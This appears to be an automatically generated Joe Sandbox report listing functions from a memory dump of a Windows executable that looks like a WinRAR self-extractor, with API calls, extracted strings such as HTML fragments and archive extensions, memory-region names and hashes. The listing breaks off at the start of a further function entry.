Instruction ID: 6daa9544a551488aeb60aa331d22454fc60487aff8798e582f01109124e6bf2e
Opcode Fuzzy Hash: 6f2eac31bf3142bc60ee15bcf5529b53e96d3ff58e2081d7023f9f73503c9c89
Instruction Fuzzy Hash: 6821F73264420CBBE2215F66EC4AF7B3B6FEB4BB81F019119F704D61E0DB5A9901D639

Function 00702E31 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00702F50
___TypeMatch.LIBVCRUNTIME ref: 0070305E
_UnwindNestedFrames.LIBCMT ref: 007031B0
CallUnexpected.LIBVCRUNTIME ref: 007031CB

Strings

csm, xrefs: 00702EDB
csm, xrefs: 00702E6E
csm, xrefs: 00702F87

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 8b13db9cba2a569f70c4c03642066173a63ee9a9634e5e6327d767b1a45a44e9
Instruction ID: 9f107797c5b564a2a1365fbe59d7b7994c2a1de61f75580a46867445d15737df
Opcode Fuzzy Hash: 8b13db9cba2a569f70c4c03642066173a63ee9a9634e5e6327d767b1a45a44e9
Instruction Fuzzy Hash: 1BB18372900209EFCF15DF94C8499AEB7F9FF08310F14425AF8156B292D779EA52CB91

Function 006F9711 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 126COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 006F9736
_wcslen.LIBCMT ref: 006F97D6

Strings

<html>, xrefs: 006F9755, 006F978E
utf-8"></head>, xrefs: 006F976B
Fjuno, xrefs: 006F982D
</html>, xrefs: 006F97B7
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 006F9760

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcslen
String ID: Fjuno$</html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 176396367-3746928725
Opcode ID: f172bfc39fe716ec2051d5fde7fb69c000a61338e1b9f6742d7056e8f8e866af
Instruction ID: 0b25f5fe0d4c9892efdaee332f7dfa19f8e6ef5b484951d39b6b426e1e195a4c
Opcode Fuzzy Hash: f172bfc39fe716ec2051d5fde7fb69c000a61338e1b9f6742d7056e8f8e866af
Instruction Fuzzy Hash: 4D314A32508305FAD725AF38DC06FBB779DAF42360F14061DF612962D1EB689A4583B9

Function 006E1100 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 006E112B
_wcslen.LIBCMT ref: 006E1153
_wcslen.LIBCMT ref: 006E1182
_wcslen.LIBCMT ref: 006E11A9

Strings

po, xrefs: 006E1205, 006E1233
Uo, xrefs: 006E120D, 006E123B
zo, xrefs: 006E1219

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcslen
String ID: Uo$po$zo
API String ID: 176396367-2608812015
Opcode ID: 0e0804345e3f48ea05c19f85c8046bc81bc0f28aa4dbac2eee6407422628f383
Instruction ID: f4dbb3819d9f98b01fe8a485f802ecef6916cee595cff1efd77775aed49fb88f
Opcode Fuzzy Hash: 0e0804345e3f48ea05c19f85c8046bc81bc0f28aa4dbac2eee6407422628f383
Instruction Fuzzy Hash: EE41D4719016699FDB219F68CC099EE7BBDEF01310F00412AFA45F7251DB34AE598BA4

Function 006F9ED5 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 006F9EEE
GetWindowRect.USER32(?,00000000), ref: 006F9F44
ShowWindow.USER32(?,00000005,00000000), ref: 006F9FDB
SetWindowTextW.USER32(?,00000000), ref: 006F9FE3
ShowWindow.USER32(00000000,00000005), ref: 006F9FF9

Strings

RarHtmlClassName, xrefs: 006F9FA5
o, xrefs: 006F9F52, 006F9F87

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Window$Show$RectText
String ID: o$RarHtmlClassName
API String ID: 3937224194-2506979008
Opcode ID: 43f1458ac69b0f0804844988caa047d78daa404d2204bb2fd5b3d3bb3f20737e
Instruction ID: be291a887cf5e026d8c6898796782f29c5ca34a2d6cecde2a2f50b348119f5f3
Opcode Fuzzy Hash: 43f1458ac69b0f0804844988caa047d78daa404d2204bb2fd5b3d3bb3f20737e
Instruction Fuzzy Hash: 8841F171004318EFCB215FA4DC48F6B7BA9FF49705F00865AFA4A9A152CB38E905CB66

Function 006E2210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 006E2536

Part of subcall function 006E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006E40A5

Part of subcall function 006F05DA: _wcslen.LIBCMT ref: 006F05E0

Strings

xc%u, xrefs: 006E275A
x%u, xrefs: 006E26FD
;%u, xrefs: 006E2523

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 3053425827-2277559157
Opcode ID: 52d40c2cdf991b6dbe1ceaf6e95a83cda1dfd21ca6f61d4555ffdfb361cfc833
Instruction ID: a4716cda1c4bb85beefa6c020a7f2963ae62cff1965b7514f3ab186dca3ddcc4
Opcode Fuzzy Hash: 52d40c2cdf991b6dbe1ceaf6e95a83cda1dfd21ca6f61d4555ffdfb361cfc833
Instruction Fuzzy Hash: 4AF14B706063C19BDB24DB2684A5BFE77DF6F90300F18056DED869B383CB64894AC766

Function 006FA80C Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 006FA699: GetDC.USER32(00000000), ref: 006FA69D
Part of subcall function 006FA699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 006FA6A8
Part of subcall function 006FA699: ReleaseDC.USER32(00000000,00000000), ref: 006FA6B3

GetObjectW.GDI32(?,00000018,?), ref: 006FA83C

Part of subcall function 006FAAC9: GetDC.USER32(00000000), ref: 006FAAD2
Part of subcall function 006FAAC9: GetObjectW.GDI32(?,00000018,?), ref: 006FAB01
Part of subcall function 006FAAC9: ReleaseDC.USER32(00000000,?), ref: 006FAB99

Strings

"o, xrefs: 006FA89D, 006FAAB9
lUq, xrefs: 006FA902
Ao, xrefs: 006FA9BA
(, xrefs: 006FA9AA

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: "o$($Ao$lUq
API String ID: 1061551593-2949456518
Opcode ID: 2aaba55d33b20129daf1e1565e0957b7b1e3b2d0177c77fb1325fac4dadaeb32
Instruction ID: d9de0be0ca2d0f8041c90264071fa464a3e52a2521a8523fbec1c82fd7311e8f
Opcode Fuzzy Hash: 2aaba55d33b20129daf1e1565e0957b7b1e3b2d0177c77fb1325fac4dadaeb32
Instruction Fuzzy Hash: 729101B5208344AFD710DF69C84496BBBE9FFC9701F00891EF59AD3260CB74A946CB62

Function 006EAF24 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006EAF29

Strings

WQL, xrefs: 006EAFDC
Windows 10, xrefs: 006EB0C2
SELECT * FROM Win32_OperatingSystem, xrefs: 006EAFCA
Name, xrefs: 006EB0B0
ROOT\CIMV2, xrefs: 006EAF5C

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: af7ac58d1ba7821f508baf4cfcd86df8d95df0b579b520e4d4c83b7730e27eaa
Instruction ID: 529218dcc33da6bd6f5db850f52c56d40dc13ab639fd3696a4a205c7914a6ec9
Opcode Fuzzy Hash: af7ac58d1ba7821f508baf4cfcd86df8d95df0b579b520e4d4c83b7730e27eaa
Instruction Fuzzy Hash: A3717C70A01359EFDB14DFA9CC959AFBBBAFF48310B14415DE512A72A0CB74AD42CB60

Function 006F9CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 006F9D0A

Strings

</style>, xrefs: 006F9E52
<style>, xrefs: 006F9E30
<br>, xrefs: 006F9DFE
>, xrefs: 006F9D4B
</p>, xrefs: 006F9DE8

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: 220402af245c92683501f14b48b78a97b9b54df27168e036fe7bbbd11e6ee32b
Instruction ID: 54893e71189868e550cc02fc80bc4286ff48a866c8950dbce939246f2845c832
Opcode Fuzzy Hash: 220402af245c92683501f14b48b78a97b9b54df27168e036fe7bbbd11e6ee32b
Instruction Fuzzy Hash: 5C512866B4172B95DB309A2998117F673E3DFA1790F78042AFBC18B3C1FB658C818275

Function 00702900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00702937
___except_validate_context_record.LIBVCRUNTIME ref: 0070293F
_ValidateLocalCookies.LIBCMT ref: 007029C8
__IsNonwritableInCurrentImage.LIBCMT ref: 007029F3
_ValidateLocalCookies.LIBCMT ref: 00702A48

Strings

csm, xrefs: 007029DD

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 4c35293300515ca611e89013771d742de8d61fd60f9042cba7c83eba249732e2
Instruction ID: 5bfaa9e68f8c14ed4099afb46093362bdd73b45ddb67fefd91ba7a8ae7bbef83
Opcode Fuzzy Hash: 4c35293300515ca611e89013771d742de8d61fd60f9042cba7c83eba249732e2
Instruction Fuzzy Hash: 3D41B275A00208EFCF14DF68C889A9EBBE5AF44324F14C255E8156B3D3D779EA52CB90

Function 006F9955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 006F995E
_wcslen.LIBCMT ref: 006F9993

Strings

, xrefs: 006F99B0
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 006F9987
 , xrefs: 006F9A21
<br>, xrefs: 006F99DF

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: d79f81b4816801c390eb6865cd0adcb0880376f8ce82efd570d5e266bb5b88b8
Instruction ID: eaed71c1013ed4820920319f5205c260f0d18310fff874b0007a72162b29c5c8
Opcode Fuzzy Hash: d79f81b4816801c390eb6865cd0adcb0880376f8ce82efd570d5e266bb5b88b8
Instruction Fuzzy Hash: 51316972644309D6DA30AB549C02BBA73E5EB80320F50451EF682473C0FAA9AD8183B1

Function 006FAAC9 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 006FAAD2
GetObjectW.GDI32(?,00000018,?), ref: 006FAB01
ReleaseDC.USER32(00000000,?), ref: 006FAB99

Strings

-o, xrefs: 006FAB32, 006FAB3F, 006FAB73, 006FAB7F
o, xrefs: 006FAB25
7o, xrefs: 006FAB67

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: ObjectRelease
String ID: -o$7o$o
API String ID: 1429681911-1687702987
Opcode ID: 16e26702db2c5b3e289b384642c50853a5296123e94b3b0c6d3dead206ae0b89
Instruction ID: d95ba7eefe5c5a69fba2388979193c87f99a2409afd43bfe45ef6eac58d86489
Opcode Fuzzy Hash: 16e26702db2c5b3e289b384642c50853a5296123e94b3b0c6d3dead206ae0b89
Instruction Fuzzy Hash: 95214A76108304AFD3009FA4DC48E6FBFEAFB8A351F01491AFA4992130D7399A148B66

Function 006EC0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 006F05DA: _wcslen.LIBCMT ref: 006F05E0

Part of subcall function 006EB92D: _wcsrchr.LIBVCRUNTIME ref: 006EB944

_wcslen.LIBCMT ref: 006EC197
_wcslen.LIBCMT ref: 006EC1DF

Strings

.exe, xrefs: 006EC10B
.rar, xrefs: 006EC0E1, 006EC134
.sfx, xrefs: 006EC11A

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: 2ba3ae630f2b0ae15653c6acc9196e877710670bd810c00eccbdce689a17ddc4
Instruction ID: 8a29070afffc52d73830f7afccbdd30e8375ec58dcbf58b37197e57e8e31365c
Opcode Fuzzy Hash: 2ba3ae630f2b0ae15653c6acc9196e877710670bd810c00eccbdce689a17ddc4
Instruction Fuzzy Hash: 60416A215023D5D9D731AF358812AFBB3EAEF41764F20090EF9816B2C2EB515D83C359

Function 006FCE87 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 006EB690: _wcslen.LIBCMT ref: 006EB696

_swprintf.LIBCMT ref: 006FCED1

Part of subcall function 006E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006E40A5

SetDlgItemTextW.USER32(?,00000066,0072946A), ref: 006FCEF1
_wcschr.LIBVCRUNTIME ref: 006FCF22
EndDialog.USER32(?,00000001), ref: 006FCFFE

Strings

%s%s%u, xrefs: 006FCEC6

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: DialogItemText__vswprintf_c_l_swprintf_wcschr_wcslen
String ID: %s%s%u
API String ID: 3419047066-1360425832
Opcode ID: a9c9f85ecc50450309c616da0c1598757048b2920005d5fc48c0410aeba77919
Instruction ID: e4fb330620c5d07d81dcfd0d7a9753d1d8acc6abc6de987ae920f510462a6e66
Opcode Fuzzy Hash: a9c9f85ecc50450309c616da0c1598757048b2920005d5fc48c0410aeba77919
Instruction Fuzzy Hash: A44180B180025DAADF219B90DC45EFA77BEEF05310F4080AAFB09E7151EE749A85CF65

Function 006FCD58 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

APIs

